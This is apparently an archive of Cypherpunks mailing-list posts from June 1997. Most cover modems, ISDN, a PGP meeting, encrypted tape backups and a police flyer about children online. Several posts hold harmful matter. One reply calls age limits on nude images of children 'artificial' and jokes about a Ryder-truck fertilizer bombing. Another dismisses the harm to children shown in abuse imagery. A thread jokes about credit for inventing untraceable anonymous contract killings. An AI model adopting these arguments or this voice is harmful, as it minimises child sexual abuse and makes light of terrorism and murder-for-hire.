> I logged out of IRC, and then went to USENET, in such rooms as:
> alt.binaries.erotica.children.pre-teen

  I couldn't find this "room" either. Are you sure this stuff
doesn't exist only on your computer?
 
> Several messages also pointed to some WWW sites, such as:
> http://www.nudebooks.com

  Did you check it out? I did. 
  I saw a lot of art. I didn't see any age discrimination. Maybe
they need to be harrassed.
  Perhaps you could start by harassing the naturalists who have
pictures of their families taken in the buff because they don't
seem to realize that their bodies are vile, disgusting things.
  Then you could harrass those who document the photography of
Lewis Carroll, who took pictures that aren't acceptable to 
present day moralists because our children now live long enough
that we can stunt their sexual growth without dire consequences
for survival of the species.

> Well, this whole situation is unacceptable. First, I would like to
> apologize to all those who have hired me in the past, and were subject to
> my emotional rants about how the whole subject was bullshit and not real.

  But now we should liste to your emotional rants about the whole
subject demands that we harrass people over it? Right.

> I know this type of activity is
> not tolerated by us. 

  Which type? The type of activity where naturalists take pictures
of themselves and their families? The type of activity where those
who celebrate the human physique in their art don't use an artificial
cut-off date to decide when art becomes obscenity?

> I have given you enough information above to start
> identifying the players in this and the places they congregate.

  No you haven't.

> Yes, I am advocating malicious, destructive hacking activity against
> these people. 

  And this time you're not *wrong* like you were before, right?

> These people need to be eradicated from the Internet.

  I'll rent the Ryder truck, you buy the fertilizer. We'll only kill
the "guilty," right?

TruthMonger






From ichudov at Algebra.COM  Tue Jun 10 22:23:38 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:23:38 +0800
Subject: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110513.AAA05601@manifold.algebra.com>



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage at ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;






From ichudov at Algebra.COM  Tue Jun 10 22:39:52 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:39:52 +0800
Subject: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110517.AAA05648@manifold.algebra.com>



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage at ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;







From shamrock at netcom.com  Tue Jun 10 22:41:08 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 11 Jun 1997 13:41:08 +0800
Subject: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970610222830.0076124c@netcom13.netcom.com>



At 05:55 AM 6/11/97 +0200, Anonymous wrote:
>Lucky Green sez:
[about ISDN]
>But don't they still charge you a penny a minute?

Not in the evening/night, which is when I tend to use my box at home. 

>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.

Assuming you can get 56k over your POTS line. Less than 20% of US
households can even link up at 28.8k. ISDN is a clean solution that will
work over just about any old wire. And now it has become rather
inexpensive. I see little reason to stick with analog. YMMV.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From blancw at cnw.com  Tue Jun 10 22:42:58 1997
From: blancw at cnw.com (Blanc)
Date: Wed, 11 Jun 1997 13:42:58 +0800
Subject: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970610224326.0075855c@cnw.com>




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.

    ..
Blanc



    ..
Blanc






From alan at ctrl-alt-del.com  Tue Jun 10 22:43:46 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Wed, 11 Jun 1997 13:43:46 +0800
Subject: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <3.0.2.32.19970610223453.03c1b220@mail.teleport.com>



At 12:13 AM 6/11/97 -0500, Igor Chudov @ home wrote:
>
>Jim Choate wrote:
>>     ____________________________________________________________________
>>    |                                                                    | 
>>    |            _____                             The Armadillo Group   |
>>    |         ,::////;::-.                           Austin, Tx. USA     |
>>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>>    |      .',  ||||    `/( e\                                           |
>>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>>    |                                                 ravage at ssz.com     |
>>    |                                                  512-451-7087      |
>>    |____________________________________________________________________|
>> 
>
>                \=/,         _-===-_-====-_-===-_-==========-_-====-_
>                |  @___oo   (                                        )_
>      /\  /\   / (___,,,}_--=                                          )
>     ) /^\) ^\/ _)        =__                                         )
>     )   /^\/   _)          (_  This space intentionally left blank.  )
>     )   _ /  / _)            (                                        )
> /\  )/\/ ||  | )_)            (_                                     )
><  >      |(,,) )__)             (                                     )
> ||      /    \)___)\             (_                                 __)
> | \____(      )___) )___           -==-_____-=====-_____-=====-___==
>  \______(_______;;; __;;;
>
>


                           #    ###  #   # ##### tm
                          # #  #   # ## ## #
                         #   # #     # # # ###
                         ##### #   # #   # #
     INTRODUCING THE NEW #   #  ###  #   # ##### RECTAL HEDGEHOG INSERTER!
             
                            \\\\      |\            And here is our new
       Here we have        >>>>>o     | \____.  RECTAL HEDGEHOG INSERTER(tm)!
   an ORDINARY HEDGEHOG    ///////==  |  ____|     Guaranteed to turn even
           --->             ^^ ^^     | /        the most BORING hedgehog...
                                      |/

              ...into the MOST EXCITING EVENING OF *YOUR LIFE*!
                          TRY IT!  YOU'LL LIKE IT!
        (Supplies limited.  Prices subject to change without notice.)

-

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From ravage at EINSTEIN.ssz.com  Tue Jun 10 22:46:30 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 11 Jun 1997 13:46:30 +0800
Subject: [Noise, California only] Good deal on ISDN access (fwd)
Message-ID: <199706110512.AAA07348@einstein.ssz.com>



Hi,

Forwarded message:

> From: Lucky Green 
> Subject: Re: [Noise, California only] Good deal on ISDN access

> Assuming you can get 56k over your POTS line. Less than 20% of US
> households can even link up at 28.8k. ISDN is a clean solution that will

That is an interesting stat, I have considerably better luck than this.
I would guess about 80% of my customers and people I know using them get
full bandwidth most of the time. I use 33.6 on SSZ and everyone of my users
with this get consistent speed. My dedicated lines seem quite stable over
time as well.

I prefer my ISDN over a normal modem.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From stewarts at ix.netcom.com  Wed Jun 11 00:09:57 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 15:09:57 +0800
Subject: [Noise, California only] Good deal on ISDN access
In-Reply-To: <199706110355.FAA10800@basement.replay.com>
Message-ID: <3.0.1.32.19970610232831.006c26e4@popd.ix.netcom.com>



At 10:28 PM 6/10/97 -0700, Lucky wrote:
>Assuming you can get 56k over your POTS line. Less than 20% of US
>households can even link up at 28.8k. 

Connecting at 28.8 is a totally different game - it's using
pure analog modems taking advantage of the relatively low noise
of most phone lines, which tend to be either short distances or
carried over T1 local loops.  It's close to the theoretical limit
of what you can get, assuming Gaussian noise distributions,
and of course 33.6 is a lot closer  :-)

The 56kbps cheats, taking advantage of the fact that the
noise on a digital line isn't Gaussian, and is mostly predictable.
It only works from the digital end (an ISP's T1) to the analog end,
and not the other way around, but for most people, that's fine -
anybody who's moving a lot more than 28.8kbps outbound probably
wants more than 56kbps anyway, and meanwhile it's a potentially big win
for the average data consumer.

>ISDN is a clean solution that will work over just about any old wire.
Actually, it's a lot pickier; the line needs to be able to carry
192kbps of digital signal to haul the 2*64+16+overhead kbps of bits.
And if you're too far away, you lose, unless the phone company
throws in a lot of expensive repeater equipment.  On analog, if you're
too far away, your signal just degrades and you get lower bit rates.
But ISDN does work for a lot of people.

>And now it has become rather inexpensive.
Cost and price are totally different questions; your phone company
may vary along with your mileage.  Some places think it's a 
high-value business service and charge big bucks for it;
other phone companies think you're getting 2.25 phone lines
and charge you for 2.  Some, like PacBell, charged a reasonable
monthly rate, assumed most of the use was business and wanted
to stimulate market growth, so they made it free at night,
not realizing what "free at night" means to computer users :-)
We'll see how long their cheap tariff lasts.

>I see little reason to stick with analog. YMMV.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Wed Jun 11 17:46:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 17:46:52 -0700 (PDT)
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201741.0075aec8@popd.ix.netcom.com>


-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM54YkvthU5e7emAFAQFF8AH+M0LItG6OfTn4h8BNF+51RLsuQHWq1TgY
IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
-----END PGP SIGNATURE-----






From tmoore48 at ix.netcom.com  Wed Jun 11 18:52:33 1997
From: tmoore48 at ix.netcom.com (Giggles)
Date: Wed, 11 Jun 1997 18:52:33 -0700 (PDT)
Subject: unsubscribe tmoore48@ix.netcom.com
Message-ID: <339D71E2.545E@ix.netcom.com>


unsubscribe tmoore48 at ix.netcom.com





From stewarts at ix.netcom.com  Wed Jun 11 04:02:45 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 11 Jun 1997 19:02:45 +0800
Subject: ADDENDUM: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970611033313.03190db4@popd.ix.netcom.com>



Please refer to the official announcement at 
	http://www.pgp.com/newsroom/cpunk-info.cgi
in case any of the PGP-related details change....






From nobody at secret.squirrel.owl.de  Wed Jun 11 07:57:56 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Wed, 11 Jun 1997 22:57:56 +0800
Subject: Untraceable Contract Killings
In-Reply-To: 
Message-ID: <19970611124928.21802.qmail@squirrel.owl.de>



Vladimir Z. Nuri wrote:
> TCM
> >Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
> >hardly matters who the "suspects" are, as nothing is provable. (Assuming no
> >implicating ephemera are left lying around on disk drives....)
> >
> >By the way, this is not really Bell's "assassination politics," this is
> >just anonymous contract killings, known about to some of us since Chaum's
> >work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> >
> >I may sound touchy on this issue, but I'm seeing more and more articles
> >here and relayed from outside essentially giving Bell the credit for
> >inventing these kinds of markets, when in fact he's a relative latecomer.
> 
> why be bashful, timmy? go ahead and say it. 
> "I invented the concept of anonymous contract killings via cyberspace, 
> and I'm quite proud of this, and it annoys me when people don't give me 
> proper credit"

And an incredible insight it was, also!  Imagine the mind it took to 
combine the notion of anonymity on the net with contract killings.  
One boggles at the creativity, the depth, the sheer GENIUS.  We 
shouldn't worry too much about his petty desire to be remembered for 
his discoveries.

Of course, Bell did ADD a significant wrinkle, and deserves credit 
for his contributions.  May and Bell.  Names that will be 
remembered.  

TruthMonger







From whgiii at amaranth.com  Wed Jun 11 08:11:21 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 11 Jun 1997 23:11:21 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication
Message-ID: <199706111450.JAA01794@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In <199706110235.VAA04670 at manifold.algebra.com>, on 06/10/97 
   at 09:35 PM, ichudov at algebra.com (Igor Chudov @ home) said:

>Dr.Dimitri Vulis KOTM wrote:
>> Ray Arachelian  writes:
>> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
>> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
>> > cassette. Fairly easy to guard, but, if your data is backed up in
>> > encrypted form (cyphertext), and not clear text, you don't even need to
>> > bother protecting the tape. (That is unless your backup software uses a
>> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
>> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
>> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
>> > audio cassettes) hold as much as 40Gb in a very small form factor.]
>> 
>> I'm actually thinking of getting a pair of 4mm tape drives to replace
>> my existing backup system (very old drives that use DC 600As; only
>> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
>> 
>> I wonder: if the data is well-encrypted, wouldn't it make the compression
>> pretty ineffective?

>You can compress before the encryption (if the encryption algorithm does
>not do compression).

>tar cvfz - /directory | Encrypt > /dev/ftape

>or something like that.

>Another thing to worry about is being able to at least partially restore
>data if one or several blocks get corrupted.

Well for backup purposes one would probably want to do their encryption on
a block size < file size. As an example for a 1M file you could encrypt it
as 10 seperate 100k blocks (or any suitable block size) rather than
encrypting the entire file in one block. I have programs on my system that
will do this for me but it would be best if all of this was built into the
backup software.

Myself I don't use tape. I use mirrored HD's and MO's & CD for short &
long term archives.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM567949Co1n+aLhhAQGm1AQAlmPPWerzMnltKwo0wyqD2eKiABc5pr1u
InvkvQoi9F3bvc8HXi/qOVZoDU49fmBWPmObz425pRNz412ilnlaUNn+nS2QhtdS
o+SB/TQWaJ8afwxdQr3N+aUyTCgxFEQjzNE1rsJF68/eZK5pxii5zbn/NkG1RiYx
3B340rEWGEk=
=5Dqc
-----END PGP SIGNATURE-----






From jamesd at echeque.com  Wed Jun 11 08:51:03 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Wed, 11 Jun 1997 23:51:03 +0800
Subject: FCPUNX:Response to 'My War'
Message-ID: <199706111536.IAA03247@proxy3.ba.best.com>



fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> Anyone who thinks this doesn't affect the young children, you are wrong. 
> I doubt these children consented to the sexual activity. I doubt they 
> consented to being photographed. I doubt they consented to the pictures 
> being distributed to others.

Most of these children are adults now.  A great many of them are 
grandmothers.  Yet I see no prosecutions for the distribution of 
images by the supposed victims.

> I am sure this affects the 
> emotional/psychological state of the child victim in many ways beyond 
> what most of us can understand. I think we can all agree that is creates 
> a less-than-optimal psychological state in the children.

Produce a victim and you will find it a lot easier to prosecute.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From frantz at netcom.com  Wed Jun 11 09:18:44 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 12 Jun 1997 00:18:44 +0800
Subject: Feds have lost battle against encryption
Message-ID: 



There is an editorial in the June 11 San Jose Mercury News titled, "Feds
have lost battle against encryption".  It mentions the Sun/Elvis+ deal, and
representative Goodlatte's bill.  It says, "Government warriors should pack
up their rusty cannons, admit that they've lost this battle, and learn to
live in the 1990s."  It speaks favorably of increased sentencing for
criminal use of encryption.  It says the bill does not go far enough in
removing export controls.

Try http://www.sjmercury.com for a copy.  (I haven't looked, so no guarantees.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From nobody at huge.cajones.com  Wed Jun 11 09:23:40 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 00:23:40 +0800
Subject: [off-topic] LEA announcement about children & computers (long)
Message-ID: <199706111615.JAA15594@fat.doobie.com>



Cpunx:  For your amusment - nicked from the local Telco web site.  I
especially enjoy the link between role playing games, satanism and
computing.

 -----------------------------------------------------------------------
CHILDREN AND COMPUTERS:

THE HIDDEN DANGER

Dear Parent:

With the never ending development of computer technology and as an
increasing number of people become computer literate, it is much more
likely that our children may be victimized or exploited in a computer
environment. If your child has a home computer (or access to someone
else�s
computer), especially those equipped with a modem, then please take the
time to review this guide and become familiar with the behavioural warning
signs. It will only take a few minutes and may prevent devastating
problems
in the future. Keep in mind, however, that no matter how �aware� you are
of
these warning signs, the most important safeguard is to monitor the
contacts that your children are making in this unrestricted environment
and
regulate their computer related activities. In addition, do not allow your
children to isolate themselves from family or friends by engaging in
solitary computer activities for hours on end. A computer should never
become a substitute for social interaction.

1984 Government Study

Today�s children are being weaned on video games and quickly move to
computers. Society has high hopes for this technically literate
generation,
but the proliferation of microcomputers and computer literacy also means
that more and more assets will be stored on computer systems and the
community of potential computer criminals will increase astronomically.

Tips for Safe Computing


PARENTS

Please advise your children to observe the following safety rules whenever
they are �on-line�. Remind them that no matter how safe and/or friendly
the
BBS seems (and this includes the major services as well as the Internet),
there is always a potential for danger.

They Should:

�Never give out any personal information about themselves - particularly
full names, addresses, phone numbers, financial information, etc. to
anyone
they meet on line. 

�Avoid responding to anyone who leaves them obnoxious,
sexual or menacing E-mail. They should not become involved in public
�Flame� sessions as they have no idea who they are dealing with and what
access an individual may have to their account information. 

�Report all electronic harassment and/or abuse to their parents. As
parents, you should notify the SYSTEM OPERATOR (SYSOP) of the problem. If
the SYSTEM OPERATOR does not give you satisfaction in stopping this abuse,
the police should be notified.

�Never set up face to face meetings alone with anyone they have
met on the BBS. They should always take someone with them and always meet
in a public place. 

�Never have someone come to their house until they get to know them and
until they are satisfied that they have given accurate personal
information about the individual.

�Safeguard all credit card and telephone card numbers. They should pay for
BBS services by money order whenever practical.

PARENTS:

Notify the police of all attempts by adults to set up meetings with your
children. This is by far the most dangerous situation for children and
should be prosecuted when appropriate.

�The modern thief can steal more with a computer than with a gun, and
tomorrow�s terrorist may be able to do more damage with a keyboard than
with a bomb�.

National Research Council 
Washington, D.C. 

Some Child Behavioural Warning Signs:

Computer Addiction 

�Withdraws from friends, family etc. May lose interest in social
activities. 

�Use of new (unusual) vocabulary, heavy with computer terms,
satanic phrase or sexual reference (or sudden interest in related posters,
music, etc.) Look for related doodling or writing. �Use of words such as:
hacking, phreaking or any words with �ph� replacing �f�. 

�Lack of interest in self and appearance or indications of lack of sleep,
(which might indicate late night modem-play).

Other Potential Danger Signs

�Computer and modem running late at night (even when unattended). 

�Storing of computer files ending in: GIF, JPG, MPG, AVI, MOV, BMP, TIF,
PCX, DL, GL or unusual CD�s; these are video or graphic image files and
parents should know what they illustrate.

�Names on communications programs which seem satanic or pornographic. 

�Obsession with fantasy adventure games, (Dungeons and Dragons, Trade
Wars, Sexcapade, etc).

�Use of computer to scan or run telephone numbers or credit card numbers,
(look for �sequential dialling� programs).

What you can do to Protect your Children 

Talk to your children about their use of the computer

Know What They are Doing


�If possible, keep the computer in a �common� area of your home, such as a
family room or den. 

�You decide if your child has a legitimate need for a modem. 

�If a modem is being used, control the activity by monitoring times
used and numbers dialled. 

Closely Monitor your Long Distance Bill

�If the computer is left running unattended, check the screen. 

�If it is showing a series of four digit numbers, the computer is trying
to identify calling card �PIN� numbers.

�If it is showing a series of sixteen digit numbers, the computer is
trying to validate credit card numbers.

�If you are not computer literate, make sure you at least learn the basics
about computers, take a course or have your child teach you.

Courtesy of: 
Chief Alfred O. Olsen 
Warwick Township Police Department 
Lititz, Pennsylvania, USA 






From geeman at best.com  Wed Jun 11 09:41:08 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 12 Jun 1997 00:41:08 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970611092701.00683c54@best.com>



reproduced under fair-use:

>                     PC, phone home
>
>                     Industry aims to stop
>                     theft of laptops
>
>                     June 10, 1997
>                     Web posted at: 11:45 p.m. EDT (0345 GMT) 
>
>                     From Correspondent Greg
>                     Lefevre 
>
>                     SAN FRANCISCO (CNN) -- Expensive, compact and
>                     frequently out and about, a laptop computer makes an
attractive
>                     target for thieves. 
>
>                     But the computer industry has devised some ingenious
ways to
>                     counter theft, including invisible software that
knows when the
>                     computer is in trouble. 
>
>                     "As soon as the thief plugs that machine into a phone
network, it
>                     will phone home," said John Livingston, chief
executive of
>                     CompuTrace Service. 
>
>                     The call goes to a Canadian office
>                     that in turn phones the cops. So far,
>                     it has a 100 percent recovery rate. 
>
======  100% of WHAT?  Systems with it installed which are stolen?   How
would you know what systems do NOT call in?  
It's like the question the clerk asks at the airport: "Did anyone put
anything in your luggage you don't know anything about?"

Now that the word is out, of course, the wily thief will eschew pluggin in
until the hard drive is reformatted and installed
with a clean OS.  As usual: the stupid will be caught. 








From sunder at brainlink.com  Wed Jun 11 09:43:21 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 12 Jun 1997 00:43:21 +0800
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: 



On Tue, 10 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)

I'd keep those.  Never know what they might be worth to a computer junk
collector or museum 50 years from now.
 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You got it.  Compression won't happen.  But you can compress the data
before you encrypt it.  i.e.  use PKZIP or whatever to zip up your data to
a nice big zip file, encrypt the zip file with PGP or whatever, and backup
just the zip file.  (I'd do all this on an encrypted volume and set the
temp variable also to the encrypted volume so you won't have data
fragments leaking all over your drive in plain text for the spooks to
snarf up later.)

> Also: can somebody recommend good, fast 4MM drives that go inside a PC and
> work off a SCSI controller, and are supported by Windows NT and 95 with no
> special drivers? (I don't care about OS/2 and Linux support)

All the DAT drives I've seen are SCSI.  There are internal ones out there.
I'd stay away from the weird ones like HP or Sony, and get some generic
one.  Get a DDS2 drive if you can.

> [I guess I'll burn the old media or something. :-) I still have about
> 3 cubic feet of 5.25" floppies that I don't know how to discard]

Run them through a degauser several times then auction them off or
whatever.

=====================================Kaos=Keraunos=Kybernetos==============
